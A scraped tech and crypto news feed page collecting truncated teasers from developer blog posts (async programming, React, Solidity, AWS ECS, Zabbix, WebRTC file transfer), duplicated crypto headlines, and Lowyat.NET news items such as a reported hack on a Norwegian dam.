GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My fascination with asynchronous programming began during a project where our synchronous web server could barely handle 100 concurrent users. The blocking I/O operations created a bottleneck that no amount of hardware could solve. This experience drove me to explore asynchronous programming patterns that could transform our application's scalability and performance characteristics. The paradigm shift came when I realized that asynchronous programming isn't just about performance—it's about fundamentally rethinking how applications handle concurrent operations. My research revealed a framework that demonstrates how sophisticated async patterns can be both powerful and intuitive, enabling developers to build highly concurrent appli…  ( 12 min )

در دنیای پرشتاب توسعه نرم‌افزار، «چابکی» یا Agile دیگر یک انتخاب لوکس نیست، بلکه یک ضرورت استراتژیک است. همه ما داستان تیم‌هایی را شنیده‌ایم که با پذیرش متدولوژی‌های Agile، از چرخه‌های توسعه طولانی و پرریسک به سمت ارائه مداوم ارزش به مشتری حرکت کرده‌اند. اما تئوری یک چیز است و عمل چیز دیگری. انتقال از مدل‌های سنتی مانند Waterfall به یک فرهنگ کاملاً چابک، مسیری پر از چالش‌های پنهان و درس‌های سخت است. این مقاله یک راهنمای تئوریک دیگر نیست. این یک کالبدشکافی عمیق از تجربیات واقعی تیم‌های توسعه نرم‌افزار است که اصول Agile را در میدان نبرد پروژه‌های واقعی به کار گرفته‌اند. ما در اینجا ۷ درس کلیدی و عملی را بررسی می‌کنیم که هر تیم توسعه (Dev Team) برای موفقیت در پیاده‌سازی مدیریت پروژه چابک باید آن‌ها را بیاموزد. این درس‌ها به شما کمک می‌کنند تا از تله‌های رایج دوری کرده و پتانسیل واقعی چابکی را…  ( 12 min )

When working with asynchronous selectors or atom families in Recoil, the UI may need to handle multiple states of the async data: Loading (before the data is fetched), HasValue (once data is successfully fetched), HasError (if fetching fails). Instead of just calling useRecoilValue, which throws a promise internally and lets React Suspense handle it, Recoil provides loadable hooks: useRecoilValueLoadable useRecoilStateLoadable These hooks give you fine-grained control over async data fetching without fully relying on Suspense. useRecoilValueLoadable useRecoilValueLoadable is like useRecoilValue, but instead of directly returning the resolved state, it returns a loadable object with the following properties: state → "loading" | "hasValue" | "hasError" contents → actual value (if hasValu…  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane During my advanced systems programming course, I became obsessed with understanding how data moves through web servers. My professor challenged us to minimize memory allocations in HTTP request processing, leading me to discover zero-copy techniques that fundamentally changed my approach to web server optimization. This exploration revealed how eliminating unnecessary data copying can dramatically improve both performance and memory efficiency. The revelation came when I profiled a traditional web server and discovered that a single HTTP request often triggers dozens of memory allocations and data copies. Each copy operation consumes CPU cycles and memory bandwidth, creating bottlenecks that limit server performance. My research l…  ( 10 min )

Competition in the digital world is fierce, and to survive in this competition, the speed of your website and proper indexing are very important. The role of site speed and indexing is immense in determining the ranking of Google and other search engines. Let's know the best practices for site speed and indexing. Importance of Site Speed Google has been considering site speed as a ranking factor since 2025. If the load time of the site is more than 3 seconds, then users leave the site and go elsewhere. Therefore, improving site speed is very important. Ways to improve site speed Image optimization: Large size images slow down the speed of the site. So compress the images and upload them to the site. You can use tools such as TinyPNG or ShortPixel. Use of caching: Through caching, the sta…  ( 6 min )

Preface Solidity is a strongly-types language, that means every variable must be declared with its data type Strongly type: The type of a variable cannot be changed after declaration A variable is automatically assigned a default value if not initialized. The default value of an integer is 0, boolean is false, address is the zero address. Most statements must end with a semicolon these are the most basic data types in solidity A boolean stores either true or false Only lowercase are valid! An int is a signed integer that can store positive and negative numbers. An uint is an unsigned integer that can only store non-negative numbers. you can specify the number of bits for an integer, from int8/uint8 to int256/uint256. for example, uint8 uses 8 bits, while uint256 uses 256 bits. if only int or unit is written, it defaults to int256 or uint256 An address stores a 20-byte Ethereum address. an int32 cannot be assigned to an int8, but a smaller type can be implicitly assigned to a larger type. for instance: int8 can be assigned to int32  ( 5 min )

Hello Broski's Today is my third day of my journey Here’s what I explored today: BRS- Business Requirements Specification SDLC-Software Development Life Cycle STLC-Software Testing Life Cycle RTM- Requirement Traceability Matrix BLC- Bug Life Cycle Test Case Writing Software Testing and Quality of an product How to satisfy customer's wants and needs  ( 5 min )

How to Embed Rive Animations in WordPress (Step-by-Step Guide) Rive lets you ship lightweight, interactive animations with real-time state machines. This article shows three reliable ways to add Rive to WordPress—plus performance, accessibility, and troubleshooting tips. What you need: a public Rive share link or a hosted .riv file. Method 1 — iframe Embed (Fastest) Perfect for blog posts, landing pages, and portfolios when you need it working in seconds. In Rive, click Share → Embed and copy the iframe code. In WordPress, add a Custom HTML block and paste it. Pros: zero…  ( 7 min )

A few days ago, Perplexity surprised (baffled?) the tech world with an unsolicited $34.5B bid for Chrome. While it makes sense in context of Google's need to divest after losing a massive antitrust case over their search engine, cited as "illegally exploiting its dominance to squash competition and stifle innovation", the move still seemed pretty bold. Until I actually spent time using their new Comet Browser and its built-in Comet Assistant. I recorded a 6-minute demo to showcase what I think sets Comet apart. Not just as "yet another AI browser," but as a potential blueprint for how we'll all use the web in the near future. Here's What Struck Me 1. AI-Powered Email Triage (with real multi-account support) Comet's assistant can analyze multiple inboxes, summarize unread…  ( 7 min )

Writing HTML code that is clean, consistent, and maintainable is essential for any web developer aiming to create robust, accessible, and scalable websites. Following best practices and an HTML style guide helps improve readability, collaboration, and performance. Here’s a comprehensive blog post outlining key best practices and style guidelines for HTML in 2025. Start every HTML document with the HTML5 doctype declaration to ensure browsers render the page correctly and consistently: xml This declaration should be the very first line in your HTML files. Use lowercase for all HTML tags and attribute names: It increases readability. Maintains consistency across your codebase. Makes typing easier and reduces errors. Good: xml Visit Avoid: x…  ( 7 min )

Designing an effective blog layout is essential to provide a seamless, engaging, and visually appealing experience for your readers. A well-organized blog layout helps readers easily find and consume content, navigate between topics, and enjoy a consistent look across all devices. Here’s a detailed guide on creating blog layouts using cards, sections, navigation, and responsive design principles. Cards are individual content containers that visually group information like blog post summaries, images, titles, dates, and tags. They enhance readability by breaking down content into digestible, bite-sized pieces that can be scanned easily. A standard card typically includes a featured image, post title, excerpt or brief description, publication date, and category or tags. Cards can be styled w…  ( 7 min )

In modern web development, creating reusable and dynamic content efficiently is pivotal for building scalable and maintainable applications. Two powerful web technologies—HTML Templates and Shadow DOM—offer elegant solutions for structuring reusable, encapsulated, and dynamic content. Here’s a dive into what these technologies are, their roles, and why they matter. The HTML element serves as a blueprint or a container for HTML fragments that are not rendered immediately when the page loads. Instead, template content remains "inert" and hidden until activated via JavaScript. This allows developers to define reusable chunks of markup that can be cloned as many times as needed, making it ideal for repeating UI elements like cards, modals, lists, or complex components. Invisible on …  ( 7 min )

In the world of digital content, making your website easily understood by search engines is crucial for visibility and user engagement. Two important concepts that help achieve this are Structured Data and Microdata. Let’s explore what they are, how they work, and why they matter. Structured Data is a standardized format for providing information about a page and classifying its content. It helps search engines like Google, Bing, and others to better interpret the data on your web pages. By using structured data, you can explicitly tell search engines what your content means, beyond just displaying it as plain text. This clarity allows search engines to create rich snippets—enhanced search results that include images, ratings, event dates, and other useful details—to attract more clicks. M…  ( 6 min )

React 19 useRef — Deep Dive useRef looks tiny on the surface, but used well it prevents bugs, speeds things up, and makes imperative integrations sane. Orientation & Warm-Up (≈3 min) Tiny teaser — autofocus with useRef The three core truths you should remember right now When to reach for a ref (short checklist) Getting the Mental Model (≈6 min) Refs, State, and Plain Variables: Get the Mental Model Right Timing: when is a DOM ref populated? Practical pattern: storing previous value (usePrevious) Why not mutate refs in render? Refs and remounts Common beginner mistakes (and how to avoid them) Quick decision cheat-sheet DOM Refs in Depth (≈9 min) Basic DOM refs: Getting a DOM Node and Using It Safely Object refs: the usual useRef pattern Timing rules: render → commit → effects Common DOM-r…  ( 27 min )

Hi Dev Community, menu at Panera Bread provide detailed listings of sandwiches, salads, and bakery items. I’m curious about best practices for structuring this kind of hierarchical data so it’s easy to query, update, and integrate with user-facing applications. Has anyone experimented with JSON schemas, APIs, or database designs for this kind of menu dataset? I’d love to hear how you approached organizing large menus for analytics or app development.  ( 5 min )

Preface Before deploying to the main-net, it is usually tested thoroughly on a test-net. Deploying a smart contract to the public network is a key step in its lifecycle. The main-net is the primary public Ethereum blockchain where ETH has real economic value. A test-net is a fork or simulation of the main-net designed for development and testing. the common test-nets include Sepolia and Goerli, while older ones like Ropsten are deprecated. Testnet ETH has no real value and can be obtained for free via faucet. A faucet is a website or service that provides developers with free test ETH. you usually need to enter your wallet address to receive test ETH. A reliable one is provided by Chainlink at faucets.chain.link the following flow can get test ETH: Switch the network in MetaMask to the target testnet Copy wallet address visit the faucet website for that testnet paste address After confirmation(Please ensure your main-net has 0.001 ETH at least), the test ETH will appear in your wallet.  ( 5 min )

The Problem: Context Pollution and Portability Over the past few months, I've been evolving my AI-powered journaling system from a simple experiment into a sophisticated tool for self-reflection and personal growth. This journey has taken me from Python-based MCP servers to Rust scripts, and from basic tool integration to leveraging the full Claude Code ecosystem. In this post, I'll share the technical evolution and the lessons learned along the way. I've been studying Rust for a few months now, but I struggle with finding practical projects to solidify my learning. I created Trackwatch out of necessity after a friend shared the concept and my frustration with Tidal's web player limitations. However, relying heavily on AI assistance for that project left me feeling unsatisfied - I wasn't…  ( 12 min )

1. Introduction 1.1. What is a CLI, Shell and Terminal ? A Command-Line Interface (CLI) is a text-based user interface that enables users to interact with a computer program or operating system by typing commands. CLIs offer significant advantages over graphical user interfaces (GUIs), including greater resource efficiency, enhanced speed for experienced users, and the ability to automate repetitive tasks through scripting and history mechanisms. They represent the foundational method of direct text-based interaction with an operating system. A shell is a software program that acts as an interpreter, facilitating direct communication between the user and the operating system or an application. When a user types a command into a CLI, the shell is responsible for parsing and exe…  ( 15 min )

测试文章2Hashnode专属这篇文章将只发布到Hashnode平台## Hashnode特色- 支持丰富的Markdown格式- 面向技术博主- 良好的SEO优化### 代码高亮 pythondef hello_hashnode(): print('Hello Hashnode!') 专为Hashnode社区定制的内容  ( 5 min )

A few days ago, a Reddit thread blew up about “the guy who consumed $50,000 worth of Claude Code tokens in 30 days on a $200 plan.” 👉 That guy was me. ⸻ How It Happened Claude Code currently offers a $200/month plan with: Generous usage (effectively no hard caps) Access to Ultrathink and Opus 24/7 background commands (added in v1.0.71) I leaned heavily on these features — but always within the official terms — to build real, user-facing products. By doing so, I unintentionally became the #1 token consumer worldwide. Some people on Reddit called this abuse. Personally, I don’t think so: I didn’t hack anything. I didn’t bypass limits. I simply used the service as it was offered. If anything, I see it as proof of how powerful Claude Code can be when you treat it not just as a coding assist…  ( 6 min )

✍️ How to Use Blade Icons in Laravel: A Comprehensive Guide Blade icons are a fantastic choice for clean, scalable icons in your Laravel applications. They're easy to use, style, and integrate directly into your Blade templates without needing complex font files or extra dependencies. This guide will walk you through the process, from setup to styling and accessibility. Using Blade icons is a straightforward process, whether you're using SVG components or a font-based library. We'll use icons from Hugeicons as a practical example. For font-based icons, you'll typically load a CDN link in your layout's tag. This gives you access to a library of icons that can be referenced by class names. With t…  ( 7 min )

In this video, Rick Beato digs into the one thing AI will never “get” about music—hint: it’s all about human feel and emotional nuance—and tackles your burning questions in a fun, no-fluff Q&A. On top of that, he’s got a massive Labor Day blowout: snag six pro-level courses (ear training, theory, songwriting, guitar and more) worth $735 for just $109. Head to rickbeato.com for 80% off, but hurry—the deal expires at midnight EST on September 1. Watch on YouTube  ( 5 min )

Discover how Apple's commitment to AI is set to redefine user experiences and drive innovation across multiple sectors. Apple CEO Tim Cook recently made headlines by asserting that the technology Apple is currently developing will be “one of the most profound technologies of our lifetime.” This statement underscores the company's commitment to advancing artificial intelligence (AI) and integrating it into its ecosystem of devices and services. As AI continues to evolve, it is crucial to explore the implications of this technology, particularly how it can reshape user experiences, enhance privacy, and drive innovation across various sectors. Tim Cook's emphasis on AI reflects a broader industry consensus regarding its transformative potential. He stated, “We see AI as one of the most profou…  ( 7 min )

Madhu Sudhan Subedi Tech Weekly August 2025 Patch Tuesday: Updates and Analysis | CrowdStrike August’s Patch Tuesday brought 107 fixes from Microsoft, including patches for one publicly known “zero-day” vulnerability and 13 critical flaws. The biggest risks this month are attackers getting higher privileges, running malicious code remotely, and stealing sensitive information—all without needing the user to click anything. The majority of fixes are for Windows, followed by Office and other Microsoft products. Link From bootcamp to bust: How AI is upending the software development industry | Reuters Coding bootcamps used to be a popular way for people without college degrees to get high-paying tech jobs. But today, as artificial intelligence changes the tech world, bootcamps are struggling—and many graduates are finding it much harder to land jobs than before. Link Master the Fundamentals: The Bedrock of Becoming a Good Software Engineer In the world of software, it’s tempting to chase every new tool and framework. But what separates good engineers from great ones? Mastering the fundamentals. Link How LLMs Reflect Operator Expertise In today’s software world, using AI like large language models isn’t just a new tool—it’s become a new skill in itself. Think of LLMs as mirrors: the quality of what they produce reflects the skill of the person using them. That means being a great programmer in the pre-AI era doesn’t automatically make you great in the AI-powered era. Link Passing the AWS Solutions Architect Professional Exam—Real-World Tips and Lessons The AWS Solutions Architect Professional exam is one of the most challenging cloud certifications out there. Amet Umierov, a seasoned cloud engineer, recently passed the exam and shared his tips for others. Link  ( 9 min )

AI for Non-Tech Founders: Start Here Jaideep Parashar ・ Aug 17 #ai #startup #webdev #beginners  ( 5 min )

We often hear developers glorify “short code.” The common belief is: fewer lines = better code. But in reality, short code does not always mean good code. In fact, sometimes 100 lines of code can be far better than 2 lines of code. Let’s understand this with a simple example: The 9 Balls Puzzle Imagine you have 9 balls, where 8 weigh the same and 1 is heavier. Your goal is to find the heavy ball using the minimum number of weighings. The optimal solution requires just 2 weighings: Divide the balls into 3 groups of 3. Compare two groups. Then compare 2 balls from the heavier group. In real life, this logic is simple when explained step by step. But imagine if someone compressed the entire logic into two ultra-clever lines of code. Sure, it might run. But will the next developer (or even your future self) be able to read it, debug it, or extend it easily? Probably not. The Illusion of Fewer Lines 2 lines of code: might look “smart” but can hide the actual thought process. It’s like solving the 9 balls puzzle by blurting out the answer without showing how you reached it. Impressive at first glance, but impossible to follow later. 100 lines of code: may seem long, but if written with clarity, comments, and step-by-step logic, anyone can trace the reasoning. Just like the step-by-step weighing process, it makes the solution transparent. Readability > Brevity Code is read far more often than it is written. When debugging at 3 a.m., you’d much rather have 100 clear lines than 2 “magical” ones. Short code is not always efficient code. Efficient code is code that is easy to understand, maintain, and extend. In other words: 👉 100 lines that anyone can understand are better than 2 lines that only you understand.  ( 6 min )

The Early Days: The Charm of Static Site Generation When I first built this site, Astro felt like the answer. As a developer, the concept of Static Site Generation (SSG) was a luxury. Amazing build speeds, fast site performance due to generating static HTML without JavaScript (by default), and a smooth developer experience (DX). Managing content via Markdown files within src/content/ was straightforward. Each article was a neat, structured .md file, all under Git version control. For a portfolio or personal blog with a few articles, this workflow was great: Write a new article in the code editor. git add . git commit -m "feat: add new blog post" git push Wait a few minutes for Netlify to finish building. The new article goes live. Simple, efficient, and very satisfying. As time …  ( 7 min )

A common misconception I hear is: “AI is too technical. I can’t use it because I don’t code.” The truth? Here’s how you can leverage AI as a non-tech founder, even if you’ve never written a single line of code. 1️⃣ Use AI as Your “Second Brain” Before you think about products or apps, use AI to make your thinking sharper. Try This Prompt: “You are my co-founder. Help me brainstorm 5 business ideas for [industry]. For each, include the problem, the solution, and the AI angle.” AI won’t replace your vision — it will refine it. 2️⃣ Automate Business Operations You don’t need custom software to cut down your workload. Automate lead capture and follow-ups Summarise meeting notes into action items Analyse customer feedback for patterns Auto-generate reports Resource: I share full workflows like…  ( 7 min )

After Day 6, images are in ECR. Today: ECS clusters and launch types. A logical grouping of tasks/services. Infrastructure-agnostic. Aspect Fargate EC2 Management Serverless, AWS handles servers You manage EC2 instances Pricing Pay per vCPU/memory Pay for instances + reservations Use Case Simple, quick setups Custom hardware, cost control Scaling Auto via service Auto Scaling groups As of 2025, Fargate offers better isolation; EC2 for flexibility. Console: ECS > Clusters > Create > Fargate (networking only). CLI: aws ecs create-cluster --cluster-name my-cluster Delete after to avoid costs: aws ecs delete-cluster --cluster my-cluster Clusters ready! Next, task definitions. What’s Next? In Day 8, we’ll define ECS tasks.  ( 5 min )

How to Fix Apache Port Conflict The problem was that Apache failed to start because the configured port (5003) was already in use by another process. The solution involves identifying and stopping the process using that port, and then restarting Apache. The systemctl status httpd output provided key error messages: Address already in use: AH00072: make_sock: could not bind to address [::]:5003: This is the most critical error. It directly states that Apache cannot start because port 5003 is already in use by another application. no listening sockets available, shutting down: This is a direct consequence of the first error. Apache cannot create the necessary network socket, so it fails. Failed to start The Apache HTTP Server: The final status confirming the service could not be started. T…  ( 6 min )

Random people at work reach out to me to ask what I'm doing using so much of the Agentic AI service that our company has signed up for. I'm using more than most people at this multi-thousand employee company. I'm vibe coding. I hate the term. I'm not "vibing". I'm using my extensive computer science experience and insight to direct several AI agents on different tasks sometimes in completely different projects at the same time. They are working at the same time, I am not. I am working with one at a time -- and moving onto the next AI as the first is working on its task. Sometimes an agent works for minutes, sometimes it works for hours. Meantime, I'm working with other agents -- or getting coffee or chatting with colleagues. Just like working with a team of junior programmers, I give them some insights to get started and send them on their way. Then I check on what they produce -- because many times the work is bad. It needs correction. Rarely do I correct by changing code directly -- no, just as working with junior programmers, most corrections involve me telling the AI what to fix and then were to re-focus its efforts. These AIs are amazing. Some of the results are impossible for a person to produce in less than days -- but they are produced in minutes. Guess I'm vibe coding. It's particularly effective because I know how to code without AI. If you have practical computer programming experience - jump in. Use your knowledge to guide these tools to produce more. Amplify your productivity. This is the new paradigm. It is not a fad. It works too well.  ( 6 min )

Hey everyone, I've been running ezyZip (a file compression site) for a while, and users kept asking for a way to share large files without the hassle of cloud storage. So I built a P2P transfer feature that works differently from WeTransfer and similar services. Drag and drop your files onto ezyZip File Transfer app Get a link like ezy.zip/ABCDE Your files transfer directly from your browser to the recipient's browser Cloudflare handles the WebRTC signaling to connect you - the actual files never touch any server The technical bit: It's quite simple: Just static HTML/JS files using WebRTC for peer-to-peer connections. Cloudflare handles the signaling server part to establish connections between browsers. Files get compressed into a ZIP on the fly, then stream directly to whoever has your link. Since there's no server storage, there's no file size limit except your patience and bandwidth. Privacy - Files never sit on someone else's server Speed - Direct transfer is often faster than upload then download No infrastructure costs - It's just static files plus Cloudflare for signaling Free - Minimal costs means I can keep it free without limits (There is a 1gb limit just because it needs to hold all the file data in memory) You do need to keep your browser tab open while the other person downloads. But you get live progress updates, and once they're done, the link's ready for the next person. Should work with modern browsers (tested on Chrome) Try it out: https://www.ezyzip.com/share-files-en.html  ( 6 min )

There was a phase when I was on the bench—waiting for a project, learning things on my own, and honestly, a little low. Then one day, my old manager called me up and gave me a task: 👉 “Can you install Zabbix on a Linux server?” Now here’s the funny part. I didn’t even catch the word properly. I heard it as “Jepix” or “Jebix”. 😅 I thought, “What on earth is this tool? Some new tech buzzword?” Finally, I pinged him again to confirm, and he replied: “It’s Zabbix.” That was the first time I ever heard the name. After some quick research, I learned Zabbix is a monitoring tool. Soon, I was given two VMs: One for the Zabbix Server. Another as the monitored machine. I rolled up my sleeves and got to work: Installed Zabbix on Linux. Installed the Zabbix agent on a Windows VM. Co…  ( 7 min )

When I first set up Istio on Amazon EKS, I thought DNS automation would be the easy part. Just install ExternalDNS, connect it to Route 53, and boom — api.yourdomain.com and grafana.yourdomain.com should resolve to my cluster. Most of it did work smoothly. The EKS add-on installed fine, IAM permissions were clear from the docs, and Route 53 was wired up. But there was one thing missing in the documentation that cost me a lot of time: how to make ExternalDNS notice Istio hostnames. In this post, I’ll explain: How ExternalDNS, cert-manager, and Istio fit together The exact setup I used The one gotcha that slowed me down (annotations!) A debugging checklist you can use when DNS records don’t appear ExternalDNS A Kubernetes controller that creates and updates DNS records automatically in pro…  ( 7 min )

Node.js is single-threaded, meaning it executes JavaScript code in sequence on a single main thread. Yet, it’s famous for handling thousands of concurrent operations without slowing down. The secret behind this magic? The Event Loop, the core mechanism that lets Node.js handle asynchronous operations (like network requests, file system reads, or timers) without blocking the main thread. The Event Loop is at the heart of Node.js’s asynchronous programming model. Understanding how it works and how callbacks, promises, and async/await fit into it gives you the power to write faster, more predictable, and bug-free asynchronous code. Without this understanding, you risk introducing hard-to-debug race conditions, blocking the thread, or misusing async patterns. Imagine a small restaurant with o…  ( 9 min )

When it comes to learning Web UI development, I believe strongly in learning by doing. Think about how we learned to walk as children. We didn’t watch tutorials. We tried, failed, crawled, and eventually walked and ran. Learning a new skill, especially something practical like frontend development, works the same way. Video tutorials are helpful, but simply watching them won’t help you retain knowledge in the long run. You have to build things. Get your hands dirty. Learn by doing. One website I highly recommend for practicing frontend skills is: 👉 Frontend Mentor Frontend Mentor offers real-world frontend challenges categorized by skill level: Newbie Junior Intermediate Advanced Guru Each challenge gives you a design to build responsively. After submission, you can: Compare yo…  ( 6 min )

837. New 21 Game Difficulty: Medium Topics: Math, Dynamic Programming, Sliding Window, Probability and Statistics, Weekly Contest 85 Alice plays the following game, loosely based on the card game "21". Alice starts with 0 points and draws numbers while she has less than k points. During each draw, she gains an integer number of points randomly from the range [1, maxPts], where maxPts is an integer. Each draw is independent and the outcomes have equal probabilities. Alice stops drawing numbers when she gets k or more points. Return the probability that Alice has n or fewer points. Answers within 10-5 of the actual answer are considered accepted. Example 1: Input: n = 10, k = 1, maxPts = 10 Output: 1.00000 Explanation: Alice gets a single card, then stops. Example 2: Input: n = 6, k = 1, max…  ( 33 min )

I’ve been working on Tasklin, a Python CLI that lets you run prompts on different AI models like OpenAI, Ollama, and more, all from one tool. It’s designed to make experimenting with AI easier, automating tasks, integrating AI into pipelines, testing different models, generating content, or just trying out different providers without constantly switching between tools. I’d love to hear how you’d use it, any ideas for improvements, or interesting ways to integrate it into your projects. Links: https://github.com/jetroni/tasklin https://pypi.org/project/tasklin  ( 5 min )

Introducing our team's latest creation - a revolutionary approach to local RAG applications TL;DR: We built LEANN, the world's most "lightweight" semantic search backend that achieves 97% storage savings compared to traditional solutions while maintaining high accuracy and performance. Perfect for privacy-focused RAG applications on your local machine. Want to try it right now? Run this single command on your MacBook: uv pip install leann GitHub: https://github.com/yichuan-w/LEANN ⭐ (Star us!) Paper: Available on arXiv RAG (Retrieval-Augmented Generation) has become the first true "killer application" of the LLM era. It seamlessly integrates private data that wasn't part of the training set into large model inference pipelines. Privacy scenarios are absolutely the most important deployme…  ( 8 min )

Title: Meta's Approach to Superintelligence: Keeping Control with AI Models Meta, the parent company of Facebook, has recently announced that it will not be open-sourcing all of its 'superintelligence' AI models. This news has sparked a debate among tech enthusiasts and experts about the implications of this decision. Superintelligence refers to the hypothetical state where an AI system surpasses human intelligence and can make decisions on its own. While the idea of an AI system with superintelligence is fascinating, it also raises concerns about the potential risks and consequences. Meta's decision to keep some of its AI models closed suggests that the company is taking a cautious approach to superintelligence. By keeping control of these models, Meta can ensure that they are used ethi…  ( 6 min )

Title: The Fusion of Human and Machine: US Nuclear Weapons and Materials Research In a world where technology is rapidly advancing, it's no surprise that we're seeing more and more integration of human and machine. But what about the fusion of human and machine in the realm of nuclear weapons and materials research? That's exactly what scientists at Lawrence Livermore National Laboratory (LLNL) have achieved. LLNL, a leading research facility in the United States, has made a significant breakthrough in fusion research. They have successfully developed an AI-driven fusion design that could revolutionize the way we approach nuclear weapons and materials research. Fusion, the process by which atomic nuclei combine to form a heavier nucleus, has long been a topic of interest for scientists. …  ( 6 min )

Title: Unleashing the Power of Open-Weight Language Models: A Look at OpenAI's Latest Release and the Future of Internet Search Introduction In the ever-evolving world of artificial intelligence (AI), breakthroughs and advancements are constantly being made. One such development is the release of open-weight language models by OpenAI, a leading AI research and development company. This latest release marks a significant milestone in the field of natural language processing (NLP) and has the potential to revolutionize the way we interact with technology, particularly in the realm of internet search. In this blog post, we will delve into the details of OpenAI's open-weight language models, their capabilities, and the implications this has for the future of internet search. Open-Weight Lang…  ( 7 min )

Unlikely Ally: AI's Role in Boosting Engagement Here’s a wild one for you—over 80% of marketers say AI has already enhanced their social media performance. Eight. Zero. That’s not just a stat—it’s a digital reality check. And here’s the kicker: a lot of us aren’t even tapping into the magic yet. Let’s be real. Social media is kind of like a glorified game of virtual tag. You post, hoping someone sees it, likes it, comments, shares... basically chooses you in a sea of memes, trending TikToks, and cat videos. And sometimes, despite your best efforts, it’s like shouting into the void. 🙃 I’ve been there. I remember spending an hour crafting the perfect caption (witty, insightful, emoji-enhanced), only for it to land with a digital thud. Crickets. Meanwhile, someone else posts a blurry selfi…  ( 14 min )

Daily JavaScript Challenge: Find the Longest Substring Without Repeating Characters Hey fellow developers! 👋 Welcome to today's JavaScript coding challenge. Let's keep those programming skills sharp! Difficulty: Medium Topic: String Manipulation Given a string, find the length of the longest substring that does not contain any repeating characters. https://www.dpcdev.com/ Fork this challenge Write your solution Test it against the provided test cases Share your approach in the comments below! Check out the documentation about this topic here: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String How did you approach this problem? Did you find any interesting edge cases? What was your biggest learning from this challenge? Let's learn together! Drop your thoughts and questions in the comments below. 👇 This is part of our Daily JavaScript Challenge series. Follow me for daily programming challenges and let's grow together! 🚀 javascript #programming #coding #dailycodingchallenge #webdev  ( 23 min )

Smash Champs Badminton Center Tour Linus and Yvonne finally pull back the curtain on their brand-new Smash Champs Badminton Center, complete with a pro shop, food station, top-notch courts and even a hidden VIP lounge. You’ll also spot a fitness area, pinball and Super Chexx in the chill-out space, plus the brains of the operation in a server room decked out with Ubiquiti gear and Playsight tech. But the real showstopper is the upcoming GIANT LAN eSports arena—dubbed Whale Lan—built with industrial-grade power, networking and HVAC to host killer tournaments. Future upgrades include automated scorekeeping and machine-vision training insights, making it a geek’s paradise whether you’re smashing birdies or fragging noobs. Watch on YouTube  ( 5 min )

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Need to know what happened in crypto today? Here is the latest news on daily trends and events impacting Bitcoin price, blockchain, DeFi, NFTs, Web3 and crypto regulation.

Japan’s FSA is set to approve JPYC as the country’s first yen-pegged stablecoin, a move that could reshape demand for Japanese government bonds.

Japan’s FSA is set to approve JPYC as the country’s first yen-pegged stablecoin, a move that could reshape demand for Japanese government bonds.

While crypto chases AI token hype, smart money invests in compute infrastructure. Like the gold rush, those who own the rails — not the miners — get rich.

While crypto chases AI token hype, smart money invests in compute infrastructure. Like the gold rush, those who own the rails — not the miners — get rich.

Centrifuge joins BlackRock’s BUIDL and Ondo Finance in the $1 billion RWA club as demand grows for tokenized products.

Centrifuge joins BlackRock’s BUIDL and Ondo Finance in the $1 billion RWA club as demand grows for tokenized products.

The Treasury is considering embedding digital identity checks into DeFi smart contracts as part of its GENIUS Act consultation on crypto compliance tools.

The Treasury is considering embedding digital identity checks into DeFi smart contracts as part of its GENIUS Act consultation on crypto compliance tools.

Looking to live tax-free with crypto in 2025? These five countries, including the Cayman Islands, UAE and Germany, still offer legal, zero-tax treatment for cryptocurrencies.

Looking to live tax-free with crypto in 2025? These five countries, including the Cayman Islands, UAE and Germany, still offer legal, zero-tax treatment for cryptocurrencies.

Airlines in the UAE accept crypto for flight bookings. The country has become a torchbearer when it comes to accepting crypto for flight bookings.

Canary Capital CEO Steven McClurg’s bear market warning comes as other industry executives don’t expect a sharper downturn for Bitcoin anytime soon.

Canary Capital CEO Steven McClurg’s bear market warning comes as other industry executives don’t expect a sharper downturn for Bitcoin anytime soon.

Galaxy Digital CEO Mike Novogratz’s comments come the same week Bitcoin surged to new all-time highs of $124,128.

Galaxy Digital CEO Mike Novogratz’s comments come the same week Bitcoin surged to new all-time highs of $124,128.

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If you are a DC fan or just a car geek, then you would have thought about owning a Batmobile. Well, Indian automaker Mahindra has made the dream possible by introducing a Batman Edition of its BE 6 electric SUV. This unique car was made in collaboration with Warner Bros. Discovery Global Consumer Products (WBDGCP), […] The post Mahindra Introduces A Batman Edition Of Its BE 6 Electric SUV appeared first on Lowyat.NET.  ( 35 min )

Norwegian authorities recently confirmed that one of the country’s dams was targeted by hackers. The group, who are believed to be Pro-Russian actors, remotely accessed the Bremanger dam in April and opened up one of the valves. The hacker group’s actions allowed the dam to release 132 gallons of water per second. Worse, it continued […] The post Norway Confirms One Of Its Dams Fell Prey To Hackers appeared first on Lowyat.NET.  ( 17 min )

If you’ve been shopping online for a new hard drive over the past couple of years, you would have undoubtedly stumbled upon a number of listings on popular e-commerce sites like Shopee and Lazada offering high capacity drivers for a fraction of it’s retail price. Most of these listings also claim the drives to be […] The post Seagate and KPDN Take Down Counterfeiting Hard Drive Workshop Outside Kuala Lumpur appeared first on Lowyat.NET.  ( 35 min )

Roblox is rolling out new safety measures aimed at protecting its younger users, following a series of lawsuits [1] [2] claiming the platform has not done enough to ensure a safe environment. In a recent post, the company outlined several significant policy updates that will be implemented over the coming months. These adjustments come in […] The post Roblox Restricts User-Created Games To Boost Safety For Kids appeared first on Lowyat.NET.  ( 34 min )

With more and more businesses supporting the Buy Now, Pay Later (BNPL), it’s maybe not surprising to learn that Airbnb already supports two variations of the business model. The service has added a third, at least in the US, and the company calls it “Reserve Now, Pay Later”. As with most justifications of such payment […] The post Airbnb Adds Reserve Now, Pay Later Option In The US appeared first on Lowyat.NET.  ( 33 min )

At this point, there’s probably not much left to spoil when it comes to the upcoming Google Pixel 10 lineup. And yet, less than a week from the official launch, we have another leak. This time, we’re looking at renders of the official first-party cases set to debut with the phones, courtesy of Dutch website […] The post Leaked Google Pixel 10 Cases Reveal Built-In Magnets appeared first on Lowyat.NET.  ( 33 min )

Introduction Not so long ago, I had the idea to turn blog posts into podcast episodes. My first few attempts at this resulted in a manual workflow where the final results would be uploaded to YouTube. The flow was as follows: Copy the link to the article from the browser. Paste the link into NotebookLM. Wait for the audio to be generated. See if it was good. Otherwise, tweak the settings and repeat step 3. Once the audio was good, download it to my laptop. Next, use Headliner to create a video from the audio and upload it to YouTube. Needless to say, there was a lot of waiting involved in this process. After doing this a couple times, I thought it would be interesting to try and automate it in some way. In this post, I’ll walk through building podcast-it — a Cloudflare Worker that can ta…  ( 11 min )

